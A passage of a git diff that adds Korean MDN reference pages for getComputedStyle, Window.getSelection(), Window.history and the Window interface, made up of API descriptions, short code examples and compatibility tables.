+ <dt>element</dt>
+ <dd>속성값을 얻으려하는 {{domxref("Element")}}.</dd>
+ <dt>pseudoElt {{optional_inline}}</dt>
+ <dd>일치시킬 의사요소(<code>pseudo element</code>)를 지정하는 문자열. 보통의 요소들에 대해서는 생략되거나 <code>null</code>이어야 함.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> <span id="result_box" lang="ko"><span>Gecko 2.0 </span></span>{{geckoRelease("2.0")}} <span lang="ko"><span>이전에는 pseudoElt 매개 변수가 필요했습니다.</span> <span>다른 주요 브라우저에서는 pseudoElt 매개변수의 값이 null 인 경우에는 생략해도 됩니다.</span> <span>Gecko는 다른 브라우저의 동작과 일치하도록 변경되었습니다.</span></span></div>
+
+<p><span id="result_box" lang="ko"><span>반환되는</span> </span><code>style</code><span lang="ko"><span>은 요소의 스타일이 변경 될 때 자동으로 업데이트되는 실시간 {{domxref ( "CSSStyleDeclaration")}} 객체입니다.</span></span></p>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제에서는 간단한 {{htmlelement("div")}} 요소에 CSS스타일을 적용하고, <code>getComputedStyle()</code>를 사용해서 적용된 스타일값을 찾아낸 후에 <code>&lt;div&gt;</code>의 본문으로 출력합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;Hello&lt;/p&gt;</pre>
+
+<pre class="brush: css">p {
+ width: 400px;
+ margin: 0 auto;
+ padding: 20px;
+ line-height: 2;
+ font-size: 2rem;
+ font-family: sans-serif;
+ background: purple;
+ color: white;
+ text-align: center;
+}</pre>
+
+<pre class="brush: js">let para = document.querySelector('p');
+let compStyles = window.getComputedStyle(para);
+para.textContent = 'My computed font-size is ' + compStyles.getPropertyValue('font-size') + ',\nand my computed line-height is ' + compStyles.getPropertyValue('line-height') + '.';</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', '100%', '240px')}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>메소드의 호출에서 반환되는 객체의 자료형은 요소의 {{domxref("HTMLElement.style", "style")}} 속성에서 반환되는 객체와 동일한 {{domxref("CSSStyleDeclaration")}}형입니다. 그러나 두 객체는 다른 목적을 가지고 있습니다. <code>getComputedStyle</code>에서 반환된 객체는 읽기 전용이며 요소의 (&lt;style&gt; 또는 외부 stylesheet로 설정되는 것도 포함해서) 스타일을 검사하는 데 사용할 수 있습니다. <code><em>elt</em>.style </code>객체는 특정한 요소에 스타일을 설정하는 데 사용해야 합니다.</p>
+
+<p>첫 번째 인수는 요소여야합니다. #text 노드같은 비-요소 노드를 전달하면 오류가 발생합니다. Gecko 1.9.2 {{geckoRelease("1.9.2")}}부터는, 반환되는 URL 값에는 <code>url("http://foo.com/bar.jpg")</code>과 같이 URL 문자열 주위에 따옴표가 있습니다.</p>
+
+<h2 id="defaultView"><code>defaultView</code></h2>
+
+<p>온라인의 많은 코드 샘플중에서, <code>getComputedStyle</code>은 <code>document.defaultView</code>객체에서 사용됩니다만, 대개의 경우에는 <code>getComputedStyle</code>은 <code>window</code>객체에도 존재하므로 <code>document.defaultView</code>객체에서 사용하는 패턴은 필요하지 않습니다. <code>defaultView</code>패턴은 (1) window 스펙을 작성하고 싶지 않은 사람들과 (2) Java에서도 사용할 수있는 API를 만드는 것의 조합이었을 가능성이 큽니다. 그러나 <code>defaultView</code>의 메소드를 사용해야만하는 <a href="https://github.com/jquery/jquery/pull/524#issuecomment-2241183" title="https://github.com/jquery/jquery/pull/524#issuecomment-2241183">경우</a>가 하나 있습니다. Firefox 3.6을 사용하여 프레임 스타일(framed styles)에 액세스하는 경우입니다.</p>
+
+<h2 id="의사요소_사용하기">의사요소 사용하기</h2>
+
+<p>getComputedStyle은 의사요소(pseudo-elements, <code>::after</code>, <code>::before</code>, <code>::marker</code>, <code>::line-marker</code>, <a href="http://dev.w3.org/csswg/css3-content/#pseudo-elements">spec</a>참고)에서 스타일 정보를 가져올 수 있습니다.</p>
+
+<pre class="brush: html">&lt;style&gt;
+ h3::after {
+ content: ' rocks!';
+ }
+&lt;/style&gt;
+
+&lt;h3&gt;generated content&lt;/h3&gt;
+
+&lt;script&gt;
+ var h3 = document.querySelector('h3');
+ var result = getComputedStyle(h3, ':after').content;
+
+ console.log('the generated content is: ', result); // returns ' rocks!'
+&lt;/script&gt;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>반환되는 {{domxref("CSSStyleDeclaration")}} 객체에는 지원되는 모든 CSS의 본디속성(longhand)명에 대한 활성값을 갖게 됩니다. 예로, 본디속성명 <code>border-bottom-width</code>의 경우를 보면, <code>border-width</code>와 <code>border</code>같은 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Shorthand_properties">단축속성명</a>이 사용됩니다. <code>font-size</code>과 같은 본디속성명만을 사용하여 속성값을 질의하는 것이 안전합니다. <code>font</code>같은 단축속성명을 사용하여 질의하는 것은 대부분의 브라우저에서 동작하지 않을 것입니다.</p>
+
+<p>CSS속성 값은 <code>getPropertyValue(propName)</code> API를 사용하거나,  <code>cs[' z-index']</code> 또는 <code>cs.zIndex</code> 같은 방식으로 객체에 직접 인덱싱하여 액세스할 수 있습니다.</p>
+
+<p><code>getComputedStyle</code>에서 반환되는 값들은 {{cssxref("resolved_value", "resolved values")}}라고 합니다. 이 값들은 일반적으로 CSS 2.1 {{cssxref("computed_value","computed values")}}과 같지만, 일부 오래된 속성(<code>width</code>, <code>height</code> 또는 <code>padding</code>)에 대해서는 {{cssxref("used_value","used values")}}입니다. 원래, CSS 2.0에서는 이 computed values를 cascading과 inheritance 후에 "사용준비완료"된 최종값을 의미했습니다. 하지만, CSS 2.1에서는 computed values를 pre-layout으로, used values들은 post-layout으로 재정의했습니다. CSS 2.0 속성들에 대해서는 <code>getComputedStyle</code>은 지금은 <strong>used values</strong>라고 불리는 옛 의미의 computed values를 반환합니다. pre-layout과 post-layout값의 차이를 나타내는 예로서 요소의 width 또는 height(layout이라고도 함)를 나타내는 백분율(퍼센트표시)이 이 있는데, 이 값들은 used value의 경우에만 픽셀(에 상당하는 대체물)로 대체됩니다.</p>
+
+<p>몇 몇 알려진 경우에 대해, 반환값은 의도적으로 부정확한 값을 가집니다. 특히, 소위 CSS History Leak 보안 문제를 피하기 위해 브라우저는 링크에 대해서는 명시적으로 used value에 대해 "거짓말"을 하는데, 사용자가 링크된 사이트를 한번도 방문한 적이 없는 것 처럼 값을 반환합니다. 이것이 어떻게 구현되는 지에 대한 자세한 내용은 <a class="external" href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/</a>와 <a class="external" href="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/</a>를 보십시오. 대부분의 최신 브라우저는 의사 선택기 스타일 응용과 <code>getComputedStyle</code>의 반환값에 대해서 유사한 변경 사항을 적용했습니다.</p>
+
+<p>CSS전이 중에 <code>getComputedStyle</code>를 호출하면, Firefox에서는 원래속성값(Original property value)을 반환하지만, WebKit에서는 최종속성값(final property value)을 반환합니다.</p>
+
+<p>Firefox에서는 <code>auto</code>값을 가진 속성들이 <code>auto</code>값이 아니라 used value를 반환합니다. 그래서, <code>height:100px;</code>의 컨테이너 블록 안에 <code>height:30px;</code>의 속성을 가진 요소를 넣고 <code>top:auto;</code>와 <code>bottom:0;</code>를 적용하면, <code>top</code>에 대한 computed style값을 요구할때 Firefox는 <code>100px-30px=70px</code>의 결과로서 <code>top:70px</code>를 반환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSSOM", "#dom-window-getcomputedstyle", "getComputedStyle()")}}</td>
+ <td>{{Spec2("CSSOM")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Style", "#CSS-CSSview-getComputedStyle", "getComputedStyle()")}}</td>
+ <td>{{Spec2("DOM2 Style")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.getComputedStyle")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.getDefaultComputedStyle")}}</li>
+ <li>{{cssxref("resolved_value", "Resolved Value")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/getselection/index.html b/files/ko/web/api/window/getselection/index.html
new file mode 100644
index 0000000000..c51281b307
--- /dev/null
+++ b/files/ko/web/api/window/getselection/index.html
@@ -0,0 +1,129 @@
+---
+title: Window.getSelection()
+slug: Web/API/Window/getSelection
+translation_of: Web/API/Window/getSelection
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>사용자 또는 Caret의 위치에 따라 선택된 텍스트의 범위를 나타내는 {{domxref("Selection")}} 객체를 반환한다. </p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>selection</em> = <em>window</em>.getSelection();</pre>
+
+<ul>
+ <li>selection은 {{domxref("Selection")}} 객체입니다. 빈 문자열("")을 추가하거나 {{domxref("Selection.toString()")}}을 호출하면 선택된 text를 반환합니다.</li>
+</ul>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">function foo() {
+ var selObj = window.getSelection();
+ alert(selObj);
+ var selRange = selObj.getRangeAt(0);
+ // do stuff with the range
+}</pre>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<h3 id="Selection_객체의_문자열_표현">Selection 객체의 문자열 표현</h3>
+
+<p>JavaScript에서 문자열을 인자로 받는 함수({{ Domxref("window.alert()") }} 나 {{ Domxref("document.write()") }} 같은)에 객체를 전달하면 해당 객체의 {{jsxref("Object.toString", "toString()")}} 메소드를 호출하고 그 결과를 호출한 함수로 전달합니다. 이를 통해서 실제로는 속성과 메소드를 갖는 문자열이 아닌 일반적인 객체라 하더라도 문자열을 인자로 받는 함수의 인자로 사용할 때에는 객체를 문자열인 것처럼 전달할 수 있습니다.</p>
+
+<p>위 예제에서 selObj를 {{domxref("window.alert()")}}의 인자로 전달하면 <code>selObj.toString()</code>가 자동적으로 호출됩니다. 하지만, selObj에 대해서 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code> 나 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code> 같은 JavaScript <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="JS/String">String</a>의 속성이나 메소드를 사용하면 객체에 그러한 속성이나 메소드가 없기 때문에 에러나 예상치 못한 결과가 발생합니다. <code>Selection</code> 객체를 문자열로 사용하려면 다음처럼 직접 <code style="font-style: normal;">toString()</code> 메소드를 호출해야 합니다:</p>
+
+<pre class="brush:js;gutter:false;">var selectedText = selObj.toString();</pre>
+
+<ul>
+ <li><code>selObj</code>는 <code>Selection</code> 객체입니다.</li>
+ <li><code>selectedText</code>는 문자열 (선택한 문자열)입니다.</li>
+</ul>
+
+<h3 id="Related_objects">Related objects</h3>
+
+<p>It's also useful to note that you can call {{domxref("Document.getSelection()")}}, which works identically.</p>
+
+<p>HTML inputs provide simpler helper APIs for working with selection (see {{domxref("HTMLInputElement.setSelectionRange()")}}).</p>
+
+<p>Notice the difference between <em>selection</em> and <em>focus</em>. {{domxref("Document.activeElement")}} returns the focused element.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML Editing", "#dom-window-getselection", "Window.getSelection()")}}</td>
+ <td>{{Spec2("HTML Editing")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>9</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}</li>
+ <li>{{domxref("Range")}}</li>
+ <li>{{domxref("Document.getSelection()")}}</li>
+ <li>{{domxref("HTMLInputElement.setSelectionRange()")}}</li>
+ <li>{{domxref("Document.activeElement")}}, {{domxref("HTMLElement.focus()")}}, and {{domxref("HTMLElement.blur()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/history/index.html b/files/ko/web/api/window/history/index.html
new file mode 100644
index 0000000000..1fffa11d9a
--- /dev/null
+++ b/files/ko/web/api/window/history/index.html
@@ -0,0 +1,59 @@
+---
+title: Window.history
+slug: Web/API/Window/history
+tags:
+ - API
+ - HTML DOM
+ - History API
+ - Property
+ - Reference
+ - Window
+translation_of: Web/API/Window/history
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>Window</strong>.<strong>history</strong></code> 읽기 전용 속성은 {{domxref("History")}} 객체로의 참조를 반환합니다. History 객체는 브라우저의 세션 기록(현재 페이지를 불러온 탭 혹은 프레임이 방문했던 페이지)을 조작할 때 사용합니다.</p>
+
+<p><a href="/ko/docs/Web/API/History_API">History API</a> 문서를 방문해 자세한 정보와 함께 예제를 살펴보세요. 특히, 저 문서는 {{domxref("History.pushState", "pushState()")}}와 {{domxref("History.replaceState", "replaceState()")}} 메서드를 사용하기 전 알아야 할 보안 기능을 설명합니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">history.back(); // 뒤로 가기 버튼 클릭과 동일
+history.go(-1); // history.back()과 동일
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>프레임에 속하지 않은 최상위 페이지의 세션 기록은 브라우저의 뒤로 가기/앞으로 가기 버튼의 드롭다운 메뉴에서도 볼 수 있습니다.</p>
+
+<p>보안상의 문제로, {{domxref("History")}} 객체는 세션 기록 내 다른 페이지의 {{glossary("URL")}}을 알 수 없습니다. 그러나 세션 기록을 탐색하는 것은 할 수 있습니다.</p>
+
+<p>일반 코드에서 세션 기록을 지우거나, 브라우저의 뒤로/앞으로 가기 버튼을 비활성화할 방법은 없습니다. 그나마 가장 근접한 방법은 {{domxref("Location.replace", "location.replace()")}} 메서드로, 세션 기록의 현재 항목을 주어진 URL로 바꿉니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.history")}}</p>
diff --git a/files/ko/web/api/window/index.html b/files/ko/web/api/window/index.html
new file mode 100644
index 0000000000..4ab8a88279
--- /dev/null
+++ b/files/ko/web/api/window/index.html
@@ -0,0 +1,700 @@
+---
+title: Window
+slug: Web/API/Window
+tags:
+ - API
+ - DOM
+ - Interface
+ - JavaScript
+ - Reference
+ - Window
+translation_of: Web/API/Window
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>Window</code></strong> 인터페이스는 {{glossary("DOM")}} 문서를 담은 창을 나타냅니다.</span> <code>document</code> 속성이 창에 불러온 <a href="/ko/docs/Web/API/Document">DOM 문서</a>를 가리킵니다. 반대로, 주어진 문서의 창은 {{domxref("document.defaultView")}}를 사용해 접근할 수 있습니다.</p>
+
+<p>JavaScript 코드에 노출된 전역 변수 <code>window</code>는 현재 스크립트가 작동 중인 창을 나타냅니다.</p>
+
+<p><code>Window</code> 인터페이스는 다양한 함수, 이름공간, 객체, 생성자가 머무는 장소입니다. 그 중엔 사용자 인터페이스로서의 창 개념과는 직접 관련되지 않은 것도 존재하며, 대신 전역적으로 접근할 수 있어야 하는 항목에 적합합니다. 많은 수의 항목이 <a href="/ko/docs/Web/JavaScript/Reference">JavaScript 참고서</a>와 <a href="/ko/docs/Web/API/Document_Object_Model">DOM 참고서</a>에 문서화되어 있습니다.</p>
+
+<p>탭 기능이 있는 브라우저에서는 각각의 탭을 각각의 <code>Window</code> 객체로 나타냅니다. 주어진 탭에서 동작 중인 JavaScript 코드의 전역 <code>window</code> 객체는 항상 자신의 탭을 나타냅니다. 그렇지만 {{domxref("Window.resizeTo", "resizeTo()")}}와 {{domxref("Window.innerHeight", "innerHeight")}}처럼, 일부 속성과 메서드는 탭이 아닌 창 전체에 적용됩니다. 보통 탭과 합리적으로는 연관 지을 수 없는 경우 창에 속합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<p><a href="/ko/docs/Web/API/Document_Object_Model#DOM_인터페이스" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스</a>도 참고하세요.</p>
+
+<dl>
+ <dt>{{domxref("DOMParser")}}</dt>
+ <dd><code>DOMParser</code>는 문자열에 저장한 XML 또는 HTML 소스 코드를 DOM {{domxref("Document")}}로 구문 분석할 수 있습니다. <code>DOMParser</code>는 <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a> 명세의 일부입니다.</dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>{{domxref("HTMLImageElement")}}를 생성할 때 사용합니다.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>{{domxref("HTMLOptionElement")}}를 생성할 때 사용합니다.</dd>
+ <dt>{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}</dt>
+ <dd>{{domxref('StaticRange')}} 객체를 생성하는 {{domxref('StaticRange.StaticRange','StaticRange()')}} 생성자를 반환합니다.</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd><a href="/ko/docs/Web/API/Web_Workers_API/Using_web_workers">Web Worker</a> 생성에 사용합니다.</dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>DOM 트리를 XML 또는 HTML 소스로 변환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p>{{domxref("EventTarget")}}의 속성을 상속하고, {{domxref("WindowOrWorkerGlobalScope")}}와 {{domxref("WindowEventHandlers")}} 믹스인의 속성을 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Window.closed")}} {{readOnlyInline}}</dt>
+ <dd>현재 창이 닫혔는지 나타냅니다.</dd>
+ <dt>{{domxref("Window.console")}} {{readOnlyInline}}</dt>
+ <dd>브라우저 디버깅 콘솔에 접근할 수 있는 콘솔 객체를 반환합니다.</dd>
+ <dt>{{domxref("Window.controllers")}} {{ReadOnlyInline}} {{non-standard_inline}}</dt>
+ <dd>현재 크롬 창의 XUL 컨트롤러 객체를 반환합니다.</dd>
+ <dt>{{domxref("Window.customElements")}} {{ReadOnlyInline}}</dt>
+ <dd>새로운 사용자 지정 요소를 등록하거나, 이전에 등록한 요소에 대한 정보를 얻을 수 있는 {{domxref("CustomElementRegistry")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
+ <dd>브라우저 암호화 객체를 반환합니다.</dd>
+ <dt>{{domxref("Window.devicePixelRatio")}} {{ReadOnlyInline}}</dt>
+ <dd>현재 화면에서의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다.</dd>
+ <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
+ <dd>창이 포함하는 문서로의 참조를 반환합니다.</dd>
+ <dt>{{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMMatrix")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.</dd>
+ <dt>{{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMMatrixReadOnly")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.</dd>
+ <dt>{{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMPoint")}} object, which represents a 2D or 3D point in a coordinate system.</dd>
+ <dt>{{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMPointReadOnly")}} object, which represents a 2D or 3D point in a coordinate system.</dd>
+ <dt>{{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMQuad")}} object, which provides represents a quadrilaterial object, that is one having four corners and four sides.</dd>
+ <dt>{{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle.</dd>
+ <dt>{{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMRectReadOnly")}} object, which represents a rectangle.</dd>
+ <dt>{{domxref("Window.event")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the <strong>current event</strong>, which is the event currently being handled by the JavaScript code's context, or <code>undefined</code> if no event is currently being handled. The {{domxref("Event")}} object passed directly to event handlers should be used instead whenever possible.</dd>
+ <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
+ <dd>이 창을 삽입했을 때 사용한 요소를 반환합니다. 창이 문서 내에 삽입된 것이 아니면 {{jsxref("null")}}을 반환합니다.</dd>
+ <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
+ <dd>현재 창의 하위 프레임을 배열로 반환합니다.</dd>
+ <dt>{{domxref("Window.fullScreen")}}</dt>
+ <dd>현재 창을 전체 화면으로 보여주고 있는지 나타냅니다.</dd>
+ <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the history object.</dd>
+ <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.</dd>
+ <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.</dd>
+ <dt>{{domxref("Window.isSecureContext")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Indicates whether a context is capable of using features that require secure contexts.</dd>
+ <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of frames in the window. See also {{domxref("window.frames")}}.</dd>
+ <dt>{{domxref("Window.location")}}</dt>
+ <dd>Gets/sets the location, or current URL, of the window object.</dd>
+ <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.messageManager")}}</dt>
+ <dd>Returns the <a href="/en-US/docs/The_message_manager">message manager</a> object for this window.</dd>
+ <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}} {{non-standard_inline}}</dt>
+ <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}</dt>
+ <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.name")}}</dt>
+ <dd>Gets/sets the name of the window.</dd>
+ <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the navigator object.</dd>
+ <dt>{{domxref("Window.opener")}}</dt>
+ <dd>현재 창을 열었던 다른 창의 참조를 반환합니다.</dd>
+ <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
+ <dd>브라우저 창 외곽 높이를 반환합니다.</dd>
+ <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
+ <dd>브라우저 창 외곽 너비를 반환합니다.</dd>
+ <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollX")}}.</dd>
+ <dt>{{domxref("Window.scrollY","Window.pageYOffset")}} {{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollY")}}</dd>
+ <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the parent of the current window or subframe.</dd>
+ <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing <a href="/en-US/docs/Navigation_timing">performance-related</a> data. See also <a href="/en-US/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing">Using Navigation Timing</a> for additional information and examples.</dd>
+ <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the screen object associated with the window.</dd>
+ <dt>{{domxref("Window.screenX")}} and {{domxref("Window.screenLeft")}} {{readOnlyInline}}</dt>
+ <dd>Both properties return the horizontal distance from the left border of the user's browser viewport to the left side of the screen.</dd>
+ <dt>{{domxref("Window.screenY")}} and {{domxref("Window.screenTop")}} {{readOnlyInline}}</dt>
+ <dd>Both properties return the vertical distance from the top border of the user's browser viewport to the top side of the screen.</dd>
+ <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
+ <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.scrollMaxX")}} {{non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd>
+ <dt>{{domxref("Window.scrollMaxY")}} {{non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd>
+ <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd>
+ <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd>
+ <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns an object reference to the window object itself.</dd>
+ <dt>{{domxref("Window.sessionStorage")}}</dt>
+ <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the window object of the sidebar.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> speech synthesis functionality.</dd>
+ <dt>{{domxref("Window.status")}}</dt>
+ <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd>
+ <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd>
